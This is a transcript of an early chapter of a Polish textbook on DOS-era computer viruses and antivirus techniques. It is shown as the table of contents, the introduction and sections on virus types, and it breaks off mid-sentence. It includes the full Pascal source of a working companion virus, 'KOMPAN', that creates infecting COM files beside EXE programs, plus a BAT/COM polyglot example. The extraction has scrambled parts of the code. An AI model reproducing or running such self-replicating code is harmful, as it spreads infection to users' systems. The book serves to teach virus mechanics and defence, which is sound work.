Adam Blaszczyk - Wirusy

download Adam Blaszczyk - Wirusy

If you can't read please download the document

Transcript of Adam Blaszczyk - Wirusy

SPIS ROZDZIAWWstp ............................................ XV Rozdzia 1. Podstawowe wiadomoci o wirusach ..............................1 Rozdzia 2. Rodzaje wirusw ..............................................................5 Rozdzia 3. Podzia wirusw ze wzgldu na sposb dziaania po uruchomieniu ..................................................................17 Rozdzia 4. Obiekty atakowane przez wirusy ....................................33 Rozdzia 5. Instalacja w pamici operacyjnej ....................................97 Rozdzia 6. Przejmowanie przerwa i znajdowanie czystych wej do systemu ........................................................................109 Rozdzia 7. Ukrywanie si w systemie operacyjnym .......................143 Rozdzia 8. Szyfrowanie kodu ..........................................................173 Rozdzia 9. Inne mechanizmy stosowane przez wirusy ...................213 Rozdzia 10. Przyszo wirusw .......................................................235 Rozdzia 11. Rodzaje programw antywirusowych ............................241 Rozdzia 12. Techniki uywane przez programy antywirusowe .........247 Rozdzia 13. Konwencje stosowane przez programy antywirusowe -standard CARO ............................................................299 Rozdzia 14. Profilaktyka antywirusowa ............................................311 Rozdzia 15. Literatura .......................................................................319SPIS TRECI Wstp XV Rozdzia 1. Podstawowe wiadomoci o wirusach .......... 1 1.1. Co to jest i jak dziaa wirus komputerowy ...............................3 1.2. Jzyki programowania wykorzystane do pisania wirusw ...... 4 Rozdzia 2. Rodzaje wirusw .......................................... 5

2.1. Wirusy pasoytnicze (ang. parasite infectors) ....................... 7 2.2. Wirusy towarzyszce (ang. companion infectors) ................. 8 2.3. Wirusy plikw wsadowych (ang. batchviruses)....................... 12 2.4. Makrowirusy, wirusy makrosw (ang. macroviruses) .............. 13 2.5. Generatory wirusw ................................................................ 14 2.6. Robaki (ang. worms) .............................................................. 14 2.7. Konie trojaskie (ang. trojan horses) ...................................... 14 2.8. Bomby logiczne (ang. logical bombs)...................................... 15 Rozdzia 3. Podzia wirusw ze wzgldu na sposb dziaania po uruchomieniu ............................................................ 17 3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 19 3.2. Wirusy rezydentme (ang. resident viruses) .......................... 21 3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31 3.2.2. Wolne infektory (ang. slow infectors) ................................... 32 Rozdzia 4. Obiekty atakowane przez wirusy .................. 33 4.1. Pliki...................................................................................35 4.1.1. Pliki wykonywalne COM ............................. 35 4.1.2. Pliki wykonywalne EXE ............................... 45 4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45 4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57 4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 59 4.1.3. Pliki zawierajce sterowniki urzdze SYS (BIN, DRV) .... 66 4.1.4. Pliki systemowe DOS ............................... 75 4.1.4.1. Interpretator polece .................................... 75 4.1.4.2. Jdro systemu (ang, kemel infector) ........................ 75 4.1.5. Pliki wsadowe BAT ................................. 76 4.1.6. Pliki DOC ......................................... 77 4.1.7. Pliki XLS.......................................... 79 4.1.8. Pliki ASM ......................................... 80 4.2. Sektory systemowe .................................. 86 4.2.1. Gwny Rekord adujcy (ang. Master Boot Record - MBR) 86 4.3. Rekord adujcy (ang. BOOt-sector)..................... 92 4.4. Jednostki Alokacji Plikw (JAP) (ang. dusters) ............ 94 4.5. Wirusy kombinowane (ang. multipartition) ................ 96 Rozdzia 5. Instalacja w pamici operacyjnej ............. 97 5.1. Instalacja w tablicy wektorw przerwa .................. 99 5.2. Instalacja w obszarze zmiennych DOS .................. 100 5.3. Instalacja w pamici poniej 640kB i UMB ............... 100 5.4. Instalacja w pamici HMA ............................. 106 5.5. Nietypowe metody instalacji ........................... 107 5.5.1. Pami ekranu .................................... 107 5.5.2. Bufory dyskowe DOS ............................... 108 Rozdzia 6. Przejmowanie przerwa i znajdowanie czystych wej do systemu ................................... 109 6.1. Najczciej przejmowane i wykorzystywane przerwania ..... 111 6.2. Wykorzystanie funkcji DOS ............................ 117

6.3. Bezporednie zmiany w tablicy wektorw przerwa ,.,,,., 118 6.4. Wczanie si do istniejcego acucha obsugi przerwania i znajdowanie czystych wej do systemu (ang. tunnelling) .... 119 6.4.1. Korzystanie ze staych adresw w systemie (przerwania 21hl2Fh) ............................................ 120 6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122 6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122 6.4.4. Trik 2F/13 ........................................ 124 6.5. Wykorzystanie trybu chronionego ....................... 141 6.6. Wczanie si jako program obsugi urzdzenia ........... 142 Rozdzia 7. Ukrywanie si w systemie operacyjnym ........ 143 7.1. Technika stealth ..................................... 145 7.1.1. Podawanie prawdziwych dugoci plikw (ang, semi-stealth) 146 7.1.1.1. Polecenie DIR wywoywane z poziomu DOS ................. 146 7.1.1.2. Programy nakadkowe uywajce krtkich nazw programw (DOS, Windows 3.1)...................................... 149 7.1.1.3. Programy wykorzystujce dugie nazwy plikw (Windows95) oraz polecenie DIR wywoywane z poziomu okna Tryb MS-DOS . 150 7.1.2. Podawanie oryginalnych dugoci i zawartoci plikw (ang.full stealth)....................................... 152 7.1.3. Podawanie prawdziwej zawartoci sektorw (ang. Sectorlevel stealth) .............................................. 169 7.1.4. Faszowanie odczytywanych sektorw na etapie obsugi przerwa sprztowych (ang. hardware level stealth) ............... 169 7.2. Modyfikacja CMOS-a ................................. 170 7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171 7.4. Dodatkowe cieki na dyskach ......................... 171 Rozdzia 8. Szyfrowanie kodu ......................... 173 8.1. Procedury szyfrujce kod ............................. 177 8.2. Procedury dekodujce ................................ 178 8.2.1. Polimorficzne procedury dekodujce ................... 179 8.2.1.1. Semi-polimorfizm ........................................ 179 8.2.1.2. Peny polimorfizm ........................................ 193 Rozdzia 9. Inne mechanizmy stosowane przez wirusy ..... 213 9.1. Sposoby dostpu do dyskw .......................... 215 9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i antyheurystyczne .................................... 227 9.3. Optymalizacje kodu .................................. 231 9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi .................... 232 Rozdzia 10. Przyszo wirusw ......................... 235 10.1. Wirusy dla rnych systemw (ang. multisystem, multiplatform viruses) ............................................. 237 10.2. Wirusy infekujce wewntrzplikowo (ang, surface infectors) 238 10.3. Wirusy zmienne genetycznie (mutujce swj kod) ........ 238 10.4. Wirusy infekujce nowe, nie infekowane dotychczas obiekty 239

Rozdzia 11. Rodzaje programw antywirusowych ......... 241 11.1. Skanery (ang. scaners) ............................. 243 11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors) ............................................ 243 11.3. Szczepionki (ang. disinfectors) ....................... 244 11.4. Programy autoweryfikujce .......................... 244 11.5. Programy zliczajce sumy kontrolne (ang. integniy checkers). 245 Rozdzia 12. Techniki uywane przez programy antywirusowe ....................................... 247 12.1. Skaning .......................................... 249 12.2. Heurystycze wyszukiwanie wirusw .................... 272 12.3. Tryb krokowy ...................................... 284 12.4. Emulacja procesora ................................. 284 12.5. Przynty (ang. baits, decoys) ......................... 285 12.6. Odwieanie programw systemowych w sektorach ....... 285 12.7. Blokowanie programw uywajcych trybu krokowego ..... 286 12.8. Pobieranie wielkoci pamici operacyjnej ............... 291 Rozdzia 13. Konwencje stosowane przez programy antywirusowe - standard CARO .............................. 299 Rozdzia 14. Profilaktyka antywirusowa .................. 311 14.1. Ochrona przed wirusami plikw uruchamialnych ......... 313 14.2. Ochrona przed bombami logicznymi i komi trojaskimi ... 315 14.3. Ochrona przed makrowirusami ........................ 316 Rozdzia 15. Literatura ............................... 319

Wstp

Tematem niiejszego opracowania s wirusy komputerowe jeden z najbardziej tajemniczych i kontrowersyjnych tworw istniejcych w wiecie komputerw. Od pocztku swego istnienia wirusy komputerowe byy owiane mg tajemnicy za ich twrcw uznawano za ludzi wiedzcych znacznie wicej ni zwykli miertelnicy. Tymczasem wirus to zwyky program komputerowy ktry cho moe bardziej wyrafinowany od innych jest na pewno o wiele atwiejszy do napisania ni jakakolwiek aplikacja uytkowa czy gra. Wikszo spotykanych wirusw to prymitywne przerbki, bazujce na istniejcych od dawna, klasycznych ju i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przerbki ograniczaj si najczciej do zmiany tekstu wewntrz wirusa lub ewentualnie sekwencji kodu, czego wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprcz nich istnieje bardzo maa grupa wirusw, ktrych pojawienie si na komputerowej scenie wizao si z zastosowaniem przez ich autorw nowych, nieznanych jeszcze nikomu sztuczek. Do tych ostatnich zaliczaj si niewtpliwie wirusy wspomnianego ju wyej Dark Avengera, najsynniejszego chyba twrcy wirusw komputerowych. On to wanie jako pierwszy zastosowa metod zmiennych procedur szyfrujcych w swym polimorficznym enginie MtE, a take jako jeden z pierwszych potrafi omija

zainstalowane monitory antywirusowe, czy odnajdywa oryginalne wejcia do znajdujcych si w BIOS-ie procedur obsugi przerwania 13h. Pojawienie si nowego wirusa infekujcego nie zajt jeszcze do tej pory platform sprztow lub programow budzi zwykle nie lada sensacj, zwaszcza gdy w spraw wmieszaj si media, erujce na tego typu historiach. Pomimo e najczciej trywialny, wirus taki otwiera bowiem kolejn furtk dla caej rzeszy pniejszych racjonalizatorw oraz wywouje istn lawin komentarzy na temat bezpieczestwa systemw komputerowych. tak wida, twrcy wirusw tworz rodowisko rzdzce si swoimi wasnymi prawami. Cay czas trwa wycig nad wymyleniem jeszcze lepszych lub cakowicie nowych, nieznanych wirusw. Ciekawa przykad twrczego podejcia do programowania wirusw zademonstrowa autor ukrywajcy si pod pseudonimem Stormbringer w wirusie JUMP. Nazwa wirusa nie jest przypadkowa, gdy, po de-asemblacji listing tego wirusa skada si tylko i wycznie z samych rozkazw skokw (waciwy kod zosta sprytnie ukryty wewntrz wirusa). Prymat w programowaniu wirusw wiod niezaprzeczalnie mieszkacy pastw byego bloku wschodniego, gwnie Bugarzy, Rosjanie i Sowacy. Dzieje si tak gwnie z powodu braku, w tych krajach unormowa prawnych dotyczcych przestpstw komputerowych, ktre istniej ju w wielu pastwach zachodnich. W dobie globalnej ekspansji sieci Internet w zasadzie kada osoba chcca dowiedzie si czego o wirusach moe dosta si do bogatych, istniejcych na caym wiecie archiww, powiconych w caoci programowaniu wirusw. Oferuj one wirusy w wersji rdowej, generatory wirusw, kolekcje zapanych egzemplarzy wirusw, a take tzw. ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plikw tekstowych lub stron HTML), powicone programowaniu wirusw (np.: 40HEX, VLAD, NukE InfoJournal, VBB, Immortal Riot). Za spraw Intemetu w skad grup prowadzcych te magazyny wchodz ludzie ze wszystkich stron wiata, ktrzy, co ciekawe, najczciej deklaruj si jako zagorzali przeciwnicy wirusw destrukcyjnych, a samo programowanie wirusw traktuj jako swoist sztuk. Po czci maj racj, gdy pisanie wirusw jest nie tylko wietn okazj do dogbnego poznania systemu operacyjnego, ale i sprawdzenia wasnych umiejtnoci programistycznych. Liczba wirusw zapanych na wiecie ronie z roku na rok i nic me wykazuje na to, aby tendencja ta miaa ulec gwatownej zmianie. W kolekcji wirusw nalecej do jednej z czoowych firm amerykaskich produkujcej programy antywirusowe znajduje si obecnie ponad 20000 prbek wirusw, z czego ok. 6000 to wirusy cakowicie rne. Naley pamita, i istnienie wirusw komputerowych jest cile zwizane z niedoskonaoci zaraanych przez nie systemw operacyjnych. Twrcy wirusw skrztnie wykorzystuj do swych celw wszelkie moliwe luki w systemie: nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione wasnorcznie bdy w kodzie systemu. To wanie wirusy

- paradoksalnie - porednio wpywaj na wzrost bezpieczestwa systemw komputerowych, gdy kolejne wersje rnych rodowisk zwykle staraj si zaata istniejce luki w systemie. Osobne miejsce w dyskusjach na temat wirusw zajmuj programy antywirusowe (w literaturze czsto okrelane skrtem AV). O ile pisanie wirusw jest raczej indywidualnym procesem twrczym, o tyle pisanie skutecznych programw antywirusowych stao si domen caych grup programistycznych, ktrych czonkowie musz posiada o wiele wiksz wiedz na temat wirusw ni typowy twrca wirusw. Usuwanie wirusw jest procesem naprawczym, a to wie si z odpowiedzialnoci, ktr musz wzi na siebie twrcy programw AV. Autorzy wirusw nie musz przejmowa si ewentualnymi szkodami powstaymi na skutek ich bdu lub nawet zwykej niewiedzy. W przypadku programw AV nie mona pozwoli sobie nawet na najmniejsze potknicie. O ile dodawanie do skanera kolejnych sygnatur typowych i trywialnych wirusw to zajcie zajmujce niewiele czasu, o tyle dekodo-wanie i rozszyfrowywanie kodu najnowszych wirusw, uywajcych kilkustopniowych zmiennych procedur szyfrujcych, sztuczek anty-emulacyjnych, antydebuggerowych i antydeasemblerowych, zaraajcych du ilo obiektw i bdcych zwykle wolnymi infektorami, to zadanie zajmujce bardzo duo czasu, a i tak czsto okazuje si, i zastosowana metoda nic umoliwia odnalezienia wszystkich wariantw wirusa. Aby przyspieszy wymian informacji na temat wirusw, autorzy rnych programw antywirusowych z caego wiata utworzyli co w rodzaju organizacji, ktra zajmuje si zbieraniem danych o istniejcych wirusach oraz o technikach ich wykrywania i usuwania. Ponisze rozdziay powinny przynajmniej czciowo wyjani mechanizmy wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprcz typowych i trywialnych sztuczek, stosowanych od dawna przez wyej wymienione programy, omwionych zostao kilka bardziej zaawansowanych technik, m.in.:polimorfizm (wykorzystywanie zmiennych procedur szyfrujcych); > stealth (zaawansowane ukrywanie si w systemie); > heurystyka (wykrywanie nowych, nieznanych wirusw na podstawie znajomoci charakterystycznych cigw instrukcji). Do zrozumienia caoci materiau niezbdna jest podstawowa znajomo komputerw PC oraz systemw DOS i WINDOWS. Niezbdna jest take przynajmniej pobiena znajomo asemblera procesorw 80x86 i jakiego jzyka wysokiego poziomu (np.: Pascal, C). Niezorientowanego czytelnika odsyam do pozycji umieszczonych w spisie na kocu ksiki. Dla uproszczenia, w opracowaniu zostaa zastosowana pewna konwencja, dotyczca uywania w tekcie funkcji systemu DOS i BIOS. Wystpujce w tekcie skrty (XXXX/YY) oznaczaj uycie funkcji XXXX przerwania programowego YY Zapis (4B00/21) oznacza wic bdzie instrukcj . uruchomienia programu przy uyciu funkcji 4B00h przerwania programowego 21h obsugiwanego przez DOS, a (4E/4F/21) oznacza bdzie wywoanie

funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym przypadku realizujcych poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) pozycji katalogu. Dokadny opis funkcji systemu DOS i BIOS mona znale w wielu rnych opracowaniach, z ktrych najlepszym i najpeniejszym wydaje si stale rozwijana, dostpna w angielskojzycznej wersji elektronicznej, lista przerwa Interrupt List Ralpha Browne'a. Na koniec warto jeszcze doda kilka uwag o sownictwie uywanym w opracowaniu. Wikszo terminw zwizanych z komputerami jest si rzeczy pochodzenia angielskiego. Prby tworzenia ich polskich odpowiednikw mijaj si najczciej z celem, gdy powstae w ten sposb neologizmy nie odzwierciedlaj w peni sensu sw angielskich. Liczne przykady z literatury komputerowej (i nie tylko) ostatnich kilku lat dowiody, i jedynym sensownym wyjciem z tej sytuacji jest integracja pewnych terminw obcojzycznych z jzykiem polskim. Z tego te powodu w opracowaniu uywane s (w niezbdnym minimum) terminy angielskie opatrzone odpowiednimi komentarzami w jzyku polskim. W sytuacji niemonoci znalezienia adekwatnego polskiego odpowiednika dla sowa angielskiego uywane bdzie sowo obce (np. stealth).

1.1. Co to jest i jak dziaa wirus komputerowy

Wirus komputerowy definiowany jest najczciej jako krtki program majcy zdolno samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych wczeniej plikach lub w pierwszych sektorach fizycznych logicznych dyskw. Proces infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. Zainfekowan ofiar czsto nazywa si nosicielem (ang. host), a proces samopowielania - replikacj. Dugo typowego wirusa waha si w granicach od kilkudziesiciu bajtw do kilku kilobajtw i w duym stopniu zaley od umiejtnoci programistycznych jego twrcy, a take od jzyka programowania uytego do jego napisania. Od umiejtnoci i zamierze autora zale take efekty, jakie wirus bdzie wywoywa w zainfekowanym systemie (oczywicie, nie zawsze musi by to prba formatowania dysku twardego). Wikszo z istniejcych wirusw zawiera tylko kod odpowiedzialny za replikacj (ang. dropper), natomiast "specjalne efekty" to zwykle dziaania uboczne spowodowane przez bdy. Z powyszego wynika jednoznacznie, i pomijajc istniejc zawsze moliwo sabotau, zaraenie komputera wirusem nastpi moe tylko przy niejawnej wsppracy uytkownika, ktry, bd to uruchamiajc zaraony program, bd prbujc wczyta system z zaraonej dyskietki, a nawet odczytujc zainfekowany dokument, niewiadomie sam instaluje wirusa w uywanym przez siebie komputerze.

1.2. Jzyki programowania wykorzystywane do pisania wirusw.

Do zaprogramowania wirusa wystarczy znajomo dowolnego popularnego jzyka programowania, np. Pascala czy C, jednak najwikszy procent wirusw

pisany jest w czystym asemblerze. Spowodowane jest to gwnie specyfik kodu generowanego przez ten jzyk, a zwaszcza jego zwizoci. Kod maszynowy programu, ktry z punktu widzenia uytkownika nie robi nic, w jzykach wysokiego poziomu zajmie od kilkuset bajtw do kilku, a nawet kilkuset kilobajtw. W asemblerze podobny program zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtw (wywoanie funkcji 4Ch przerwania 21h). Spowodowane jest to tym, i do kadego wygenerowanego przez siebie programu kompilatory jzykw wysokiego poziomu dodaj standardowe prologi i epilogi, niewidoczne dla piszcego w danym jzyku programisty, ktre s odpowiedzialne m.in. za obsug bdw, stosu, operacje we/wy itp. Mona powiedzie, i dugo programu wynikowego (rozumianego jako kod maszynowy) jest wprost proporcjonalna do poziomu jzyka programowania, w ktrym zosta on napisany. Na korzy asemblera przemawia take fakt, i z jego poziomu mamy bardzo du swobod w dostpie do pamici czy portw, a programista ma moliwo wiadomego wpywu na ksztat przyszego programu, np. w zakresie uywanych instrukcji czy rozwiza programowych. Jak wida, programy napisane w asemblerze s optymalne pod wzgldem szybkoci dziaania i dugoci kodu, a wic jzyk ten jest jakby stworzony do programowania wirusw. Jedyn wad asemblera jest to, i programw w nim napisanych nie mona przenosi na komputery o innej architekturze, std mog one egzystowa tylko w jednej rodzinie komputerw. Oprcz typowych jzykw programowania do zaprojektowania wirusa mona wykorzysta jzyki makr, wbudowane w nowoczesne edytory tekstw lub arkusze kalkulacyjne. Zawarte w nich mechanizmy pozwalaj na infekcj kadego otwieranego przez program dokumentu lub arkusza. Ze wzgldu na poziom abstrakcji na Jakim operuj jzyki makr, s one wymarzonym narzdziem do tworzenia wirusw, zwaszcza dla pocztkujcych programistw. Nie musz si oni bowiem przedziera przez dokumentacj systemu czy te formaty infekowanych plikw. Wszystkie operacje na fizycznych obiektach s zaimplementowane w makrach i wykonuj si bez koniecznoci ingerencji programisty.

ROZDZIA 22.1. Wirusy pasoytnicze (ang. parasite infectors) W zasadzie wikszo istniejcych wirusw to wirusy pasoytnicze, ktre wykorzystuj swoje ofiary do transportu, modyfikujc ich struktur wewntrzn. Jedynym ratunkiem dla zainfekowanych obiektw jest uycie szczepionki lub w ostatecznoci kopii zapasowych, gdy zzaraane pliki z reguy nie s przez wirusa leczone. Wyjtek stanowi nieliczne wirusy wykorzystujce pliki tylko do transportu midzy komputerami, majce za gwny cel infekcj tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu ktrego z tych obiektw wirus zmienia dziaanie i leczy wszystkie uywane pliki znajdujce si na twardym dysku, a infekuje jedynie pliki ju znajdujce si na dyskietkach lub dopiero na nie kopiowane.

Ze wzgldu na miejsce zajmowane w zainfekowanych plikach wirusy pasoytnicze dzieli si na: > Wirusy nadpisujce (ang. overwrite infectors), lokujce si na pocztku pliku, czsto nie zapamitujce poprzedniej zawartoci pliku (co w efekcie nieodwracalnie niszczy plik); > Wirusy lokujce si na kocu pliku (ang. end of file infectors), najbardziej rozpowszechniona odmiana wirusw pasoytniczych, ktre modyfikuj pewne ustalone struktury na pocztku pliku tak, aby wskazyway na wirusa, po czym dopisuj si na jego kocu; > Wirusy nagwkowe (ang. header infectors), lokujce si w nagwku plikw EXE przeznaczonych dla systemu DOS; wykorzystuj one fakt, i nagwek plikw EXE jest standardowo ustawiany przez programy linkujce na wielokrotno jednego sektora (512 bajtw). Zwykle wirusy te nie przekraczaj rozmiaru jednego sektora i infekuje poprzez przejcie funkcji BIOS sucych do odczytu i zapisu sektorw (02,03/13); > Wirusy lokujce si w pliku w miejscu gdzie jest jaki pusty, nie wykorzystany obszar (np. wypeniony cigiem zer), ktry mona nadpisa nie niszczc pliku (ang. cave infectors), > Wirusy lokujce si w dowolnym miejscu pliku (ang. surface infectors), do rzadkie, bardzo trudne do napisania; > Wirusy wykorzystujce cz ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystajce z faktu, i plik rzadko zajmuje dokadnie wielokrotno jednej JAP.

2.2. Wirusy towarzyszce (ang. companion infectors)Wirusy tego typu s najczciej pisane w jzykach wysokiego poziomu. Atakuj one pliki, a ich dziaanie opiera si na hierarchii stosowanej przez DOS podczas uruchamiania programw. W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na kocu BAT. W przypadku wykorzystywania interpretatora polece 4DOS dochodz Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przykad, jeeli w jednym katalogu istniej 3 pliki: - PROG.BAT, - PROG.COM, - PROG.EXE, to kolejno ich uruchamiania byaby nastpujca: - PROG.COM, - PROG.EXE, - PROG.BAT. Plik PROG.COM bdzie si uruchamia, ilekro bdziemy podawa nazw PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE mona w tym wypadku uruchomi wycznie poprzez podanie jego penej nazwy, bd te poprzez uprzednie usunicie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usunicia z katalogu obu plikw: PROG-

COM i PROG.EXE, albo te podania w linii polece caej jego nazwy. Jak wida, wirus ma kilka moliwoci, aby zainfekowa uruchamiany program: - Istnieje plik COM: nie mona zastosowa infekcji; - Istnieje plik EXE: mona utworzy plik o takiej samej nazwie, o rozszerzeniu COM, zawierajcy wirusa; - Istnieje plik BAT: mona utworzy plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawierajcy wirusa. Nastpna prba uruchomienia tak zaraonego programu spowoduje najpierw uruchomienie podszywajcego si pod program wirusa, a dopiero ten, po zakoczeniu pracy, przekae sterowanie do programu macierzystego, najczciej poprzez wywoanie programu interpretatora polece z parametrem: /C NazwaPlikuOfiary. Ciekawym rozszerzeniem techniki opisanej powyej jest sposb infekcji stosowany przez wirusy towarzyszce, wykorzystujce zmienn rodowiskow PATH (ang. path companion infectors). Zmienna PATH okrela list katalogw przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystujcy t technik tworzy plik, zawierajcy kod wirusa w innym katalogu, znajdujcym si w zmiennej rodowiskowej PATH przed katalogiem, w ktrym znajduje si zaraana ofiara. W tym wypadku infekcj mona zastosowa dla dowolnego z plikw COM, EXE, BAT, gdy kolejno uruchamiania zalena jest przede wszystkim od zawartoci zmiennej PATH. Na przykad, jeeli zmienna rodowiskowa PATH okrelona jest jako: PATH = C:\;C:\DOS;C:\WINDOWS, a w katalogu C:\DOS umiecimy plik WIN.BAT, to podczas kolejnego wywoywania systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez podawania cieki, czyli najczciej WIN [ENTER]) z katalogu innego ni C:\WINDOWS system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi waciwy program C:\WINDOWS\WIN.COM. Poniej przedstawiono przykad prostego wirusa towarzyszcego. Jest on napisany w jzyku Pascal i infekuje par plikw COM, EXE.

(*;-----------------------------------------------------------------------;*) (*; ;*) (*; Czesc ksiazki : "Nowoczesne techniki wirusowe i ;*) antywirusowe"

(*; ;*) (*; ;*) (*; ;*) (*; ;*) (*; ;*) (*; (*; ;*) (*;-----------------------------------------------------------------------;*) {$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-} {$M 8192,0,16384} uses Dos, Crt; const MaskaEXE = '*.EXE'; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*) Infekuje pliki EXE w biezacym katalogu Prosty wirus typu towarzyszacego KOMPAN v1.0, Autor : Adam Blaszczyk 1997

var Szuk NazwaNosiciela, NazwaOfiary PlikNosiciela, PlikOfiary Bufor I Status begin WriteLn; WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997'); WriteLn; NazwaNosiciela := ParamStr (0); WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?'); if UpCase(ReadKey)='T' then begin WriteLn; Status :=False; : File; : Pointer; : Byte; : Boolean; DlugoscNosiciela : LongInt; : String; : SearchRec;

FindFirst (MaskaEXE, AnyFile, Szuk); while (DosError = 0) and (IOResult = 0) and (not Status) do begin with Szuk do if not ((Name='.') or (Name='..') or (not (Attr and Directory and VolumeID0))) then begin NazwaOfiary:=Name; Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3); NazwaOfiary:=NazwaOfiary+'COM'; Assign (PlikOfiary, NazwaOfiary); Reset (PlikOfiary,1);

if IOResult 0 then begin Status:=True; WriteLn Assign Reset (' Tworze KOMPANA : ',NazwaOfiary); (PlikNosiciela, NazwaNosiciela); (PlikNosiciela, 1);

DlugoscNosiciela := FileSize (PlikNosiciela); GetMem BlockRead DlugoscNosiciela); ReWrite DlugoscNosiciela); Close Close FreeMem end; end; FindNext (Szuk); end; If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !'); end; Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4); NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE'; for I:=1 to ParamCount do NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I); (PlikNosiciela); (PlikOfiary); (Bufor, DlugoscNosiciela); (PlikOfiary,1); , Bufor^, BlockWrite (PlikOfiary (Bufor,DlugoscNosiciela); (PlikNosiciela, Bufor^,

SwapVectors; Exec(GetEnv('COMSPEC'), NazwaNosiciela); SwapVectors; end.

2.3. Wirusy plikw wsadowych (ang. batchviruses)Wirusy plikw wsadowych wykorzystujce do transportu pliki BAT, istniej od do dawna, pomimo raczej ubogiego zestawu rodkw, jakimi dysponuje ich potencjalny twrca. Moe wydawa si to niedorzeczne, lecz czsto potrafi infekowa nie tylko pliki BAT, ale take pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania). Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomoc polecenia ECHO, ktrego parametry s przekierowywane do pliku), zawierajcy waciwy kod infekujcy pliki BAT. Po utworzeniu jest on wykonywany, a nastpnie kasowany. Ze wzgldu na to, i procesor nie rozrnia kodu i danych, mona, poprzez sprytn manipulacj, utworzy plik, ktry bdzie mg si wykona zarwno Jako typowy plik BAT, jak i plik COM. Na przykad typowe polecenia plikw wsadowych, wykonywane przez procesor jako cz kodu programu COM, bd rozumiane jako: polecenie pliku BAT instrukcje widziane przez procesor 52h PUSH DX ; db 'R' REM 45h INC BP 4Dh DEC BP ; db 'E' ; db 'M'

ECHO

45h INC BP : db 'E' 43h INC BX : db 'C' 48h DEC AX ; db 'H' 4Fh DEC Dl ; db 'O'

@ 7t0 (deklaracja etykiety interpretator nie wykonuje)

40h INC AX ; db '@' 3Ah 37h CMP DH.[BX]; db ':7' 74h 30h JZ $+30h ; 't0'

Po uruchomieniu zainfekowanego w ten sposb pliku BAT wirus kopiuje si do pliku tymczasowego o rozszerzeniu COM i wykonuje si, tym razem jako kod maszynowy. Poniej zamieszczono przykad prostego pliku (na dyskietce, w katalogu COMBAT), ktry wykonuje si niezalenie od tego, czy jest wywoywany z rozszerzeniem BAT czy COM. Po uruchomieniu wywietla on napis informujcy o rozszerzeniu, z jakim zosta wywoany. :7: @ECHO OFF @ECHO Dzialam jako plik BAT ! @GOTO KONIEC II-I@M_-!L-!Dzialam jako plik COM !$ :KONIEC

2.4. Makrowirusy, wirusy makrosw (ang. macroviruses)Tego typu wirusy to jeden z najnowszych pomysw. Makrowirusy nie zaraaj programw uruchamianych, lecz pliki zawierajce definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro). Do mnoenia si makrowirusy wykorzystuj funkcje zawarte w jzykach makr, wbudowanych w powysze aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel.

2.5. Generatory wiruswNa przestrzeni ostatnich kilku lat pojawio si wiele programw umoliwiajcych stworzenie wasnego wirusa, nawet bez znajomoci systemu, czy mechanizmw wykorzystywanych przez wirusy. Narzdzia tego typu s dostpne w sieci Internet. Korzystajc z gotowych moduw w asemblerze mona utworzy wirusa o zadanych parametrach, wybieranych najczciej przy pomocy przyjaznego uytkownikowi menu lub specjalnego pliku definicyjnego. Mona wic okreli zakres obiektw infekowanych przez tworzonego wirusa, rodzaj efektw specjalnych, sposb ewentualnej destrukcji, a take warunki zadziaania efektw specjalnych. Oprcz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworz take

